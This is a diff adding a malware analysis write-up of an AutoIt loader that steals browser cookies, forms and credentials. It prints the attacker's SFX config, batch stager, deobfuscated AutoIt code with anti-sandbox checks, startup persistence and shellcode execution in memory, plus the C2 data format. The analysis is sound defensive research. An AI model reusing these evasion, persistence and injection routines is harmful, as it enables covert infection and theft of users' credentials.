diff --git a/Additional Analysis/UnknownTA/2020-09-07/Analysis.md b/Additional Analysis/UnknownTA/2020-09-07/Analysis.md new file mode 100644 index 0000000..6630374 --- /dev/null +++ b/Additional Analysis/UnknownTA/2020-09-07/Analysis.md @@ -0,0 +1,834 @@ +## Time to take the bull by the horns +* [Malware analysis](#Malware-analysis) +* [TTPs](#TTPs) +* [Hunting](#Hunting) +* [Cyber kill chain](#Cyber-kill-chain) +* [Indicators Of Compromise (IOC)](#IOC) +* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK) +* [Links](#Links) + + [Original Tweet](#tweet) + + [References](#References) + +## Malware-analysis + +

The initial vector is a self-execute archive (SFX). This is built from a project of alternate module : 7z sfx Modified Module (7zsfx).

+ +``` +SFX module - Copyright (c) 2005-2016 Oleg Scherbakov +1.7.0 develop [x86] build 3900 (April 1, 2016) +7-Zip archiver - Copyright (c) 1999-2015 Igor Pavlov +15.14 (December 31, 2015) +``` + +

This launches a shell instance for extract the objects.

+ +
+ +

Like 7zip module, this uses an internal configuration for the actions to execute once the process extraction of the objects is done. This uses the hide methods for run as background and doesn't overwrite the files if already exists.

+ +
+ +```c +;!@Install@!UTF-8! +// control flag chains +MiscFlags="1+2+16+64+128" +// 2 - hides the extraction dialog completely (silent mode) +GUIMode="2" +// 1 - do not overwrite the existing files +OverwriteMode="1" +// hidcon: -> hide window to user +RunProgram="hidcon:cmd /c echo SLsZudZK" +RunProgram="hidcon:cmd /c cmd < sVqHm.com" +;!@InstallEnd@!Rar! +``` + +

On the flags of Miscflags, we can see on the Russian archive of the project that can be chains for do a stack process of the actions for automation for the errors and check actions.

+ +
+ +

This launches the main script for initiating the rest of the chain of actions.

+ +
+ +

The first part of the script use a lot of kill switchs already detected in July 2020 on similliar autoit script. aa_TouchMeNot is a reference of a file used on MSE sandbox for analysis threat in the sandbox, that presented in the first time on the blackhat 2018 and firstly used by BitPaymer ransomware.

+ +``` batch +Set YAFtyhpbN=Q +REM Check sandbox MSE +if exist C:\aaa_TouchMeNot_.txt exit +REM Killswitch Computername +if %computername% == DESKTOP-%YAFtyhpbN%UO5%YAFtyhpbN%U33 exit +REM DESKTOP-QO5QU33 +ping -n 1 UKL.UVLJR +if %errorlevel% == 0 exit +if %computername% == NfZtFbPfH exit +if %computername% == ELICZ exit +if %computername% == MAIN exit +``` + +

The final part of the script fix the header of the autoit builder (23e87924005aeef08ab3c9402aa749c0373ed9fa6c1706c13ca1df5ec33f8928), write on the disk, decode from base 64 the autoit payload to execute and launch with the autoit builder.

+ +``` batch +REM Fix header on the autoit builder + SearchIndexer.com +REM Echo and write the PE +type pZFFZxnbbPw.com >> SearchIndexer.com +REM Remove the last script +del pZFFZxnbbPw.com +REM Decode from base 64 the autoit payload to execute +certutil -decode sUs.com h +REM Execute it +SearchIndexer.com h +ping 127.0.0.1 -n 30 +``` + +

As obfuscation, the script uses a lot of while - switches loops for redirect the good section of code to push on each function. The first good thing to have in mind is to verify the functions that used in checking the numbers of calls of references in theirs functions. Like forensic and malware analysis is a matter of instinct, this a good idea, only four of twelve functions is used, the rest is junk code of makes high entropy and more harder the analysis. So only a third of more 16000 lines of the script is to deobfuscate, that a better start.

+ +``` autoit +If (Ping(NuEIwMq("74I89I100I112I77I120I109I110I74I97I97I100I119I46I74I89I100I112I77I120I109I110I74I97I97I100I119",0), 1000) <> 0) Then Exit + +$qGRwbSPeJ = @AppDataDir & NuEIwMq("94I101I113I119I117I110I94I101I113I119I117I110I48I101I113I111",2) +$ArlTLV = @AppDataDir & NuEIwMq("99I106I118I124I122I115I99I72I93I117I112I127I94I78",7) +$RvZgoJpth = @AppDataDir & NuEIwMq("98I105I117I123I121I114I98I123I88I116I124I77I124I123I72I124I80I107I52I124I104I121",6) +$aCYDDEjBZszBdg = @AppDataDir & NuEIwMq("101I108I120I126I124I117I101I90I79I111I82I77I127I82I89I125I93I88I126I55I108I120I118",9) +If Not FileExists($qGRwbSPeJ) Then + If DirGetSize(@AppDataDir & NuEIwMq("96I103I115I121I119I112",4)) < 0 Then + +Global $JAYmBXZG = 118 +Global $hnwsOohw = 96 +While (6350-6349) +Switch $JAYmBXZG +Case 115 +$dlffyVxJSrHGTz = SplashOff() +$102 = 138 +While $RxnOkVaHWvSKlBaAlOllMJswgWDFYJifUGyFKAYzXDzShlpomD > $102 +$dlffyVxJSrHGTz &= ClipGet() +WEnd +$RhpdnNrMcyxjdGLYXChqJwlUuEKxGMMN = 5535 +$JAYmBXZG = $JAYmBXZG + 1 +Case 116 +$REJvBWHgZYXtFnk = IsAdmin() +$88 = 86 +While $JuQegpUrJuJzHmfPQmuXDEoyDGiGNfwhBktUwSlHKGMxjgHmIigy > $88 +$REJvBWHgZYXtFnk &= Exp(279) +WEnd +$cccOYfnhXSNSgZHXFqVVhhZVdaCFvfsfQ = IsDllStruct(136518) +$JAYmBXZG = $JAYmBXZG + 1 +Case 117 +``` + +

Once the switch conditions removed for getting the code, a second obfuscation is used in passing the strings to deobfuscate on NuEIwMq function. The algorithm is based on offset and the each integer value is converted their corresponding ASCII value.

+ +```autoit +Func NuEIwMq($a, $b) + $str = '' + $tab = StringSplit($a, "I", 2) + For $i = 0 To UBound($tab) - 1 + $str &= Chrw($tab[$i] - $b) + Next +Return $str +EndFunc +``` + +

This is split the string on array and use offset for getting the final string in reading all the array. The following code on autoit can be easily converted in Powershell for decode the strings.

+ +```powershell +function Decode +{ + param ( + [string]$a, + [int]$b + ) + $str = '' + $tab= $a.Split("I") + for ($i = 0; $i -lt $tab.Count; $i++) { $str += [char][int]($tab[$i] - $b) } + return $str +} +``` + +``` batch +> Decode "94I101I113I119I117I110I94I101I113I119I117I110I48I101I113I111" 2 +\cousl\cousl.com +``` + +

As first action the script check if this on the sandbox on using well-known method based on the difference between real time and time pass on the sandbox by GetTickCount method.

+ +```autoit +Opt("TrayIconHide", 1) +Func Antisandbox_by_diff_time($val) + $time1 = DllCall ("kernel32.dll", "long", "GetTickCount") + $uFQgPxoxA = DllCall("kernel32.dll", "DWORD", "Sleep", "dword", $val) + $time2 = DllCall ("kernel32.dll", "long", "GetTickCount") + $dif_time = $time2[0] - $time1[0] + If Not (($dif_time+500)>=$val and ($dif_time-500)<=$val) Then + Exit + EndIf +EndFunc +``` + +

A second wave of anti-analysis measures is performed in reusing the MSE sandbox flag killswitch domain and various names of computernames.

+ +```autoit +If (FileExists("C:\aaa_TouchMeNot.txt" Or @ComputerName = "NfZtFbPfH" Or @ComputerName = "tz" Or @ComputerName = "ELICZ" Or @ComputerName = "MAIN" Or @ComputerName = "DESKTOP-QO5QU33") Then Exit +``` + +

By hunting, we can note that the autoit payload have sill the same computernames and check the MSE flag but use differents delimiter for the obfuscated method. The structures are the same and are based on useless functions for the previous reasons.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateDelimiterComputernamesCheck MSE flag ?
2020-09-03
I
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-09-02
M
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-08-31
.
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-08-01
M
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-31
M
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-27
e
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-27
e
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-22
±
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-17
,
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-16
,
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-15
e
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-15
e
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-14
.
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-13
,
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
2020-07-09
*
NfZtFbPfH, tz, ELICZ, MAIN, DESKTOP-QO5QU33
Yes
+
+ +

The next following block of code allocates the semaphore, creates the shortcuts, prepares the files and paths and run the final payload in memory in pushing the anti-sandbox measures for protect the to launch it on analysis environment.

+ +```autoit +$Jvar = DllCall(DllOpen("kernel32.dll"), "handle", "CreateSemaphoreA", "ptr", Null, "long", 1, "long", 1, "str", "JYdpMxmnJaadw") +$CodeError = DllCall("kernel32.dll", "long", "GetLastError")[0] +If $CodeError == 183 Then +$Pfile = FileOpen(@ScriptDir & '\' & 'QFfIDvIPtTOu.com',16) +$RData = FileRead($Pfile) +If (Ping("JYdpMxmnJaadw.JYdpMxmnJaadw", 1000) <> 0) Then Exit +$PathDomain = @AppDataDir & "\cousl\cousl.com" +$PathAutoitScript = @AppDataDir & "\cousl\AVnixWG" +$PathVBSFile = @AppDataDir & "\cousl\uRnvGvuBvJe.vbs" +$PathBinaryData = @AppDataDir & "\cousl\QFfIDvIPtTOu.com" +If Not FileExists($PathDomain) Then + If DirGetSize(@AppDataDir & "\cousl") < 0 Then + DirCreate(@AppDataDir & "\cousl") + EndIf + FileWrite(FileOpen($PathAutoitScript,2), FileRead(@ScriptFullPath)) + FileDelete(@ScriptFullPath) + FileWrite(FileOpen($PathDomain,2), FileRead(FileOpen(@AutoItExe,16))) + FileWrite(FileOpen($PathBinaryData,2), FileRead(FileOpen("SHhKFxKRvVQw0eqo"),16))) + FileDelete("SHhKFxKRvVQw0eqo")) + FileWrite(FileOpen($PathVBSFile,2), "pUCkyGzHUI = GetObject(" & ChrW(34) & "winmgmts:\\.\root\cimv2:Win32_Process" & ChrW(34) & ").Create(" & ChrW(34) & $PathDomain & " " & $PathAutoitScript & ChrW(34) & " , " & ChrW(34) & @AppDataDir & "\cousl" & ChrW(34) & ", Null, WuUbkJJqxFQ )") + FileSetAttrib(@AppDataDir & "\cousl", "+SH", 1) + If Not FileExists(@StartupDir & "\cousl.url") Then + FileWrite(FileOpen(@StartupDir & "\cousl.url",34), "[InternetShortcut]" & @CRLF & "URL=" & ChrW(34) & $PathVBSFile & ChrW(34)) + Else + FileDelete(@StartupDir & "\cousl.url") + FileWrite(FileOpen(@StartupDir & "\cousl.url",34), "[InternetShortcut]" & @CRLF & "URL=" & ChrW(34) & $PathVBSFile & ChrW(34)) + EndIf +EndIf +$time2Num = 0 +Antisandbox_by_diff_time(8391) +For $j = 0 To 29984739 + $time2Num = $time2Num + 1 +Next +If Not ($time2Num == 29984740) Then Exit +$Path_PE = @SystemDir & "\" & "nslookup.exe" +Global $Jvar = AllocatePayload(Init_Struct(Binary($RData), Binary("7914561")), $ArgCmdline, $Path_PE) +WinWaitClose(1) +Else +Run(@AutoItExe & " " & $CmdLineRaw) +Antisandbox_by_diff_time(500) +``` + +

The two next functions are for initiate the process and the structure which content the payload. In function of the OS arch, this push the following header of structure of the process to initiate.

+ +```autoit +Func Init_Struct($arg1, $arg2) + If @AutoItX64 Then + Local $OP_DLL_Struct = "0x89C055 [...] EC54963F241" + $OP_DLL_Struct &= "83C201EBC448 [...] 5EC3" + Else + Local $OP_DLL_Struct = "0x89C05531C057565383E [...] 583C4085B5E5F5DC2100089" + $OP_DLL_Struct &= "DB5557565383EC088B54 [...] 21000" + EndIf + Local $Ref_Struct_1 = (StringInStr($OP_DLL_Struct, "89C0") - 3) / 2 + Local $Ref_Struct_2 = (StringInStr($OP_DLL_Struct, "89DB") - 3) / 2 + $OP_DLL_Struct = Binary($OP_DLL_Struct) + $struct1 = DllStructCreate("byte[" & BinaryLen($OP_DLL_Struct) & "]", DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", BinaryLen($OP_DLL_Struct), "dword", 0x00001000, "dword", 0x00000040)[0]) + DllStructSetData($struct1, 1, $OP_DLL_Struct) + Local $lim = BinaryLen($arg2) + Local $Bytes_Struct = DllStructCreate("byte[" & $lim & "]") + DllStructSetData($Bytes_Struct, 1, $arg2) + Local $ctvBJcdIjHzL = DllStructCreate("byte[272]") + @AutoItX64 ? DllCallAddress("none", DllStructGetPtr($struct1) + $Ref_Struct_1, "ptr", DllStructGetPtr($ctvBJcdIjHzL), "ptr", DllStructGetPtr($Bytes_Struct), "uint", $lim, "int", 0) : DllCall("user32.dll", "uint", "CallWindowProc", "ptr", DllStructGetPtr($struct1) + $Ref_Struct_1, "ptr", DllStructGetPtr($ctvBJcdIjHzL), "ptr", DllStructGetPtr($Bytes_Struct), "uint", $lim,"int", 0) + Local $lim2 = BinaryLen($arg1) + Local $Bytes_Struct2 = DllStructCreate("byte[" & $lim2 & "]") + DllStructSetData($Bytes_Struct2, 1, $arg1) + @AutoItX64 ? DllCallAddress("int", DllStructGetPtr($struct1) + $Ref_Struct_2,"ptr", DllStructGetPtr($ctvBJcdIjHzL), "ptr", DllStructGetPtr($Bytes_Struct2), "uint", $lim2, "int", 0) : DllCall("user32.dll", "uint", "CallWindowProc", "ptr", DllStructGetPtr($struct1) + $Ref_Struct_2, "ptr", DllStructGetPtr($ctvBJcdIjHzL), "ptr", DllStructGetPtr($Bytes_Struct2), "uint", $lim2, "int", 0) + Return Init_process($Bytes_Struct2, 1) +EndFunc + +Func Init_process($Ref_Struct, $Ref_Element, $control = 0 ) + If NOT $control = 0 Then + return DllStructGetData($Ref_Struct, $Ref_Element, $control) + else + return DllStructGetData($Ref_Struct, $Ref_Element) + EndIF +EndFunc +``` + +

The last function called is for the allocation of the payload in memory in creating the structure need for run it. The Actor use StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) as obfuscation for the end of the payload, this chooses a random letter between A to Z but rest the same due to this convert to binary format (01000001 - 01011010) and kept only the first two numbers at left that return each time "01". This can be replacing by this value ("01") for getting all the shellcode that need to run.

+ +```autoit +Func AllocatePayload($a, $SJKRKKK = "", $cOVkTS = "") + $Payload = "0xE9971E000 [...] 45F48A00" + [...] + $Payload &= "300400008DB424B001000050F3A5E8F8E2FFFF6A5E596A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "8BF0586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "8D7C24" + $Payload &= "3CF3A56689442410586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442412586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442414586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442416" + $Payload &= "586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442418586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "668944241A586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "668944241C586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "668944241E" + $Payload &= "586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442420586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442422586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442424586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442426" + $Payload &= "6689442428586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "668944242A586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "668944242C586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "668944242E586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) + $Payload &= "6689442430586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "6689442432586A" & StringTrimLeft(Binary(Chr(Random(65, 90, 1))),2) & "66894424346689442436586689442434" + $Payload &= "33C066894424368D4 [...] 750C8D84" + $Payload &= "242C0300008DB424B40 [...] 0000000" + $Payload &= "0000000000000000000000000000000000000000000000000000000000000000" + $Bin_Payload = Binary($Payload) + $Bin_Data = Binary($a) + $lim_Payload = BinaryLen($Bin_Payload) + $initAlloc = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", $lim_Payload, "dword", 0x00003000, "dword", 0x00000040)[0] + $struc = DllStructCreate("byte file[" & BinaryLen($Bin_Data) & "]") + DllStructSetData(DllStructCreate("byte nop[" & $lim_Payload & "]", $initAlloc), "nop", $Bin_Payload) + DllStructSetData($struc, "file", $Bin_Data) + $address = DllCallAddress("dword", $initAlloc, "str", $cOVkTS, "ptr", DllStructGetPtr($struc))[0] + Return WinGetProcess($address) +EndFunc +``` + +

The shellcode extracted can be easily push in Radare2 by a malloc or in Cutter (GUI of Radare2) on the shellcode panel.

+ +``` batch +$ r2 malloc://1 +[0x00000000]> wx E9971E0000558BECB84D5A000083EC14663903740433C0EB7F8B433C813C185045000075 [...] +``` + +
+ +

As first action, this load the strings on stack strings on the memory. In unstacking the strings, we can get a first look on the actions that perform the shellcode. The attacker uses NtQuerySystemInformation for getting a list of all handles open on the system for perform KnownDlls Cache Poisoning. In comparing the reference with \KnownDlls\X, this gets the HandleValue is returned by the call. This allows of to perform an injection on the process to target.

+ +```asm +0x000001fb mov word [rbp - 0x320], 0x57 ; 'FindResourceW' +0x00000222 mov byte [rbp - 0x218], al ; 'LoadResource' +0x0000024f mov byte [rbp - 0x33e], al ; 'SizeofResource' +0x00000273 mov byte [rbp - 0x270], al ; 'LockResource' +0x000002b5 mov byte [rbp - 0x670], al ; 'NtQuerySystemInformation' +0x000002ed mov dword [rbp - 0x658], 0x79726f ; 'NtAllocateVirtualMem'ory' +0x00000315 mov word [rbp - 0x2d0], 0x73 ; 'NtOpenProcess' +0x0000035a mov word [rbp - 0x6c4], 0x73 ; 'NtQueryInformationProcess' +0x00000381 mov word [rbp - 0x2f0], 0x6f ; 'GetSystemInfo' +0x00000398 mov byte [rbp - 0x2c], al ; 'mbstowcs' +0x000003a8 mov byte [rbp - 0x22], al ; 'strlen' +0x000003e6 mov byte [rbp - 0x19e], al ; '\KnownDlls32\ntdll.dll' +0x00000428 mov word [rbp - 0x238], 0x6c ; '\KnownDlls32\advapi32.dll' +0x0000046d mov word [rbp - 0x254], 0x6c ; '\KnownDlls32\kernel32.dll' +0x000004a8 mov dword [rbp - 0x1dc], 0x6c6c64 ; '\KnownDlls32\user32.dll' +0x000004e4 mov byte [rbp - 0x110], al ; '\KnownDlls\ntdll.dll' +0x0000051c mov dword [rbp - 0x200], 0x6c6c64 ; '\KnownDlls\advapi32.dll' +0x00000558 mov dword [rbp - 0x1c4], 0x6c6c64 ; '\KnownDlls\kernel32.dll' +0x00000594 mov word [rbp - fcn.00000164], 0x6c ; '\KnownDlls\user32.dll' +0x000005cf mov byte [rbp - 0xf8], al ; '\KnownDlls\Ole32.dll' +0x000005e9 mov byte [rbp - 0x16], al ; 'user32.dll' +0x000005ec mov dword [rbp - 0xf4], 0x704f744e ; 'NtOpenKey' +0x00000627 mov dword [rbp - 0x410], 0x79654b ; 'NtQueryValueKey' +0x00000658 mov byte [rbp - 0x39e], al ; 'NtEnumerateKey' +0x0000066b mov byte [rbp - 0x76], al ; 'memcpy' +0x000006a0 mov byte [rbp - 0x5c8], al ; 'CryptAcquireContextW' +0x000006a6 mov dword [rbp - 0x42c], 0x70797243 ; 'CryptCreateHash' +0x000006ce mov dword [rbp - 0x30c], 0x70797243 ; 'CryptHashData' +0x0000071c mov byte [rbp - 0x35e], al ; 'CryptDeriveKey' +0x00000722 mov dword [rbp - 0x478], 0x70797243 +0x0000074a mov byte [rbp - 0x468], al ; 'CryptDestroyHash' +0x00000750 mov dword [rbp - 0x2ac], 0x70797243 +0x0000076e mov byte [rbp - 0x2a0], al ; 'CryptDecrypt' +0x00000774 mov dword [rbp - 0x3ec], 0x70797243 ; 'CryptDestroyKey' +0x000007c4 mov dword [rbp - 0x56c], 0x747865 ; 'CryptReleaseContext' +0x000007f6 mov dword [rbp - 0x558], 0x79726f ; 'NtReadVirtualMemory' +0x00000815 mov byte [var_48h], al ; 'LoadLibraryA' +0x0000083f mov byte [rbp - 0x96], al ; 'GetProcAddress' +0x0000085a mov byte [rbp - 8], al ; 'advapi32.dll' +0x00000871 mov byte [rbp - 0xc8], al ; 'lstrlenW' +0x000008b2 mov byte [rbp - 0x626], al ; 'NtProtectVirtualMemory' +0x000008d6 mov byte [rbp - 0x228], al ; 'FreeResource' +0x00000903 mov byte [rbp - 0x36e], al ; 'CreateProcessW' +0x00000927 mov word [rbp - 0x2e0], 0x79 ; 'RtlZeroMemory' +0x00000961 mov byte [rbp - 0x4b6], al ; 'NtTerminateProcess' +0x00000999 mov byte [rbp - 0x5b0], al; 'NtWriteVirtualMemory' +0x000009d1 mov byte [rbp - 0x598], al ; 'ZwUnmapViewOfSection' +0x000009fe mov byte [rbp - 0x37e], al ; 'NtResumeThread' +0x00000a35 mov byte [rbp - 0x4ca], al ; 'NtSetContextThread' +0x00000a6c mov byte [rbp - 0x4f2], al ; 'NtGetContextThread' +0x00000aa3 mov byte [rbp - 0x48e], al ; 'NtMapViewOfSection' +0x00000ad1 mov dword [rbp - 0x6c0], 0x61707845 ; 'NtCreateSection' +0x00000b0d mov word [rbp - 0x6a8], 0x57 ; 'ExpandEnvironmentStringsW' +0x00000b47 mov byte [rbp - 0x4de], al ; 'GetModuleFileNameA' +0x00000b88 mov byte [rbp - 0x60e], al ; 'NtQueryInformationFile' +0x00000bab mov byte [rbp - 0x156], al ; 'NtReadFile' +0x00000bce mov byte [rbp - 0x126], al ; 'NtOpenFile' +0x00000bf2 mov word [rbp - 0x2c0], 0x79 ; 'NtSetValueKey' +0x00000c19 mov byte [rbp - 0x290], al ; 'NtCreateFile' +0x00000c33 mov dword [rbp - 0x1f4], 0x656c69 ; 'NtWriteFile' +0x00000c79 mov dword [rbp - 0x6fc], 0x687461 ; 'RtlFormatCurrentUserKeyPath' +0x00000c90 mov byte [rbp - 0x6e], al ; 'wcscat' +0x00000ca3 mov byte [rbp - 0x7e], al ; 'memset' +0x00000cce mov byte [rbp - 0x440], al ; 'NtDelayExecution' +0x00000ce7 mov byte [rbp - 0x8e], al ; 'wcslen' +0x00000d15 mov byte [rbp - 0x454], al ; 'NtCreateThreadEx' +0x00000d38 mov byte [rbp - 0x17a], al ; 'NtContinue' +0x00000d66 mov dword [rbp - 0x544], 0x646165 ; 'RtlCreateUserThread' +0x00000da1 mov byte [rbp - 0x4a2], al ; 'NtOpenProcessToken' +0x00000dd9 mov dword [rbp - 0x640], 0x6e656b ; 'NtAdjustPrivilegesToken' +0x00000e28 mov byte [rbp - 0x6de], al ; 'RtlCreateProcessParameters' +0x00000e60 mov byte [rbp - 0x580], al ; 'RtlCreateUserProcess' +0x00000e66 mov dword [rbp - 0x52c], 0x7243775a +0x00000e8e mov dword [rbp - 0x51c], 0x6e6f69 ; 'ZwCreateTransaction' +0x00000eb6 mov word [rbp - 0x310], 0x6e ; 'NtOpenSection' +0x00000efb mov byte [rbp - 0x68c], al ; 'RtlSetCurrentTransaction' +0x00000f33 mov word [rbp - 0x5e0], 0x6e ; 'ZwRollbackTransaction' +0x00000f77 mov byte [rbp - 0x5f6], al ; 'LdrGetProcedureAddress' +0x00000f9a mov byte [rbp - 0x14a], al ; 'LdrLoadDll' +0x00000fb3 mov byte [rbp - 0x86], al ; 'wcscmp' +0x00000fcd mov dword [rbp - 0x1b8], 0x41786f ; 'MessageBoxA' +0x00000ffe mov byte [rbp - 0x34e], al ; 'IsWow64Process' +0x0000102c mov dword [rbp - 0x530], 0x79726f ; 'NtFreeVirtualMemory' +0x00001040 mov dword [rbp - 0xa8], 0x65736f ; 'NtClose' +0x00001057 mov byte [rbp - 0x66], al ; 'wcscpy' +0x00001082 mov dword [rbp - 0x508], 0x737365 ; 'NtCreateUserProcess' +0x000010a0 mov byte [rbp - 0xb0], al ; 'wcstombs' +0x000010cd mov byte [rbp - 0x32e], al ; 'NtQuerySection' +0x000010f0 mov byte [rbp - 0x13e], al ; 'ShowWindow' +0x00001114 mov dword [rbp - 0x430], 0x577845 ; 'CreateWindowExW' +0x00001145 mov byte [rbp - 0x38e], al ; 'RegisterClassW' +0x00001172 mov byte [rbp - 0x3ae], al ; 'DefWindowProcW' +0x00001178 mov dword [rbp - 0x40c], 0x74736f50 ; 'Post' +0x00001182 mov dword [rbp - 0x408], 0x74697551 ; 'Quit' +0x00001196 mov dword [rbp - 0x400], 0x656761 ; 'Message' +0x000011b4 mov byte [rbp - 0xd4], al ; 'EndPaint' +0x000011ce mov byte [rbp - 0xbc], al ; 'FillRect' +0x000011f1 mov byte [rbp - 0x132], al ; 'BeginPaint' +0x0000121e mov byte [rbp - 0x3ce], al ; 'CoInitializeEx' +0x0000124c mov byte [rbp - 0x47c], al ; 'CoCreateInstance' +0x000012d7 mov byte [rbp - 0x3be], al ; 'NtCreateMutant' +0x000012fb mov byte [rbp - 0x2b0], al ; 'NtOpenMutant' +0x00001360 mov dword [rbp - 0x284], 0x57786574 ; 'CreateMutexW' +``` + +

By the way, this rebuilds the sections and the dll to inject on the process.

+ +
+
+ +

On dynamic analysis, we can see the actions for streal the credentials in downloading and executing the same sqlite3 package (76ec7536ebeaa661263f677f89222bb5ac68c16087d3e99a66cba6419d34b57f) that has used by some samples since last month. This pushes the data extracted with the sqlite3.dll to the corresponding file and compact it on a zip in memory.

+ +

Unfortunately, the C2 don't respond but the agent sends the informations and the role of some parameters can be assigned.

+ +``` +// first post : + +p1=90059c37-1320-41a4-b58d-816d-806e6f6e6976&p2=55534552&p3=61646D696E&p4=57696E646F777320372053657276696365205061636B2031202856657273696F6E20362E312C204275696C6420373630312C2033322D6269742045646974696F6E29&p5=&p8=504B0304140000080800 ... + + // Second post : + + p1=90059c37-1320-41a4-b58d-816d-806e6f6e6976&p2=55534552&p3=61646D696E&p4=57696E646F777320372053657276696365205061636B2031202856657273696F6E20362E312C204275696C6420373630312C2033322D6269742045646974696F6E29&p5=&p8=4F4B +``` + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ParameterDescriptionExample from AnyrunExample from Anyrun (decoded)
p1GUID Client90059c37-1320-41a4-b58d-816d-806e6f6e697690059c37-1320-41a4-b58d-816d-806e6f6e6976
p2Computername55534552USER
p3Username61646D696Eadmin
p4System Information57696E646F7773 ... 974696F6E29Windows 7 Service Pack 1 (Version 6.1, Build 7601, 32-bit Edition)
p5keep for new feature ?
p8Response (DATA / OK/ Response command)504B0304140000080800 ... / 4F4B / Response command ZIP DATA / OK / Response command
+
+ +

This time the data are only push as hex string to the C2 instead of with an XOR and with a different structure in the response to the C2 that the sample of June 2020.

+
+ +

Like the zip doesn't have a password, this can be easily unzipping for getting the content. Anyrun just have browser honeypot but steal also current credentials (wallets, configurations ...).

+ +``` +90059c37-1320-41a4-b58d-816d-806e6f6e6976 // By GUID client + | information.txt // system info + | + +---cookies + | cookies_Chrome + | cookies_Chrome.txt + | cookies_Firefox.txt + | + +---forms + | forms_Chrome + | forms_Chrome.txt + | forms_Firefox.txt + | + \---users + users_Chrome.txt + users_Firefox.txt +``` + +

This sample seems to be different of the Taurus loader that use the same loader but have use three different files for be launch in memory. By the way, the hunting of this loader in the past has shown that different stealers and RAT use this same loader.

+ +

TTPs

+

The global TTPs used by this loader can be resume on this process graphic (some samples have differences like DOS obfuscation) :

+
+ +

Hunting

+ +

Firstly, we have observed that this seems to use the same autoit builder for run the autoit script. By their hash we can note two parts on the result. The first part is used on malicious MSI file for run autoit script with the builder only as fake installer (early Juny). This doesn't have the same TTPs that this loader. The second part have exactly with the same TTPs and have just some additional obfuscations methods (Early July).

+ +

By comparing each case, we can notice that the structure is the same with some differences, and we can see each part of the code.

+ +

DOS script

+ +

Lot of time, the script isn't obfuscating, the rare cases have a common DOS obfuscation by substrings method on a common base of the alphabet for getting the final code. However, the code rest the same with the kill switch measures, certutil command (with a random one letter name of the script) and launches the autoit payload with the builder.

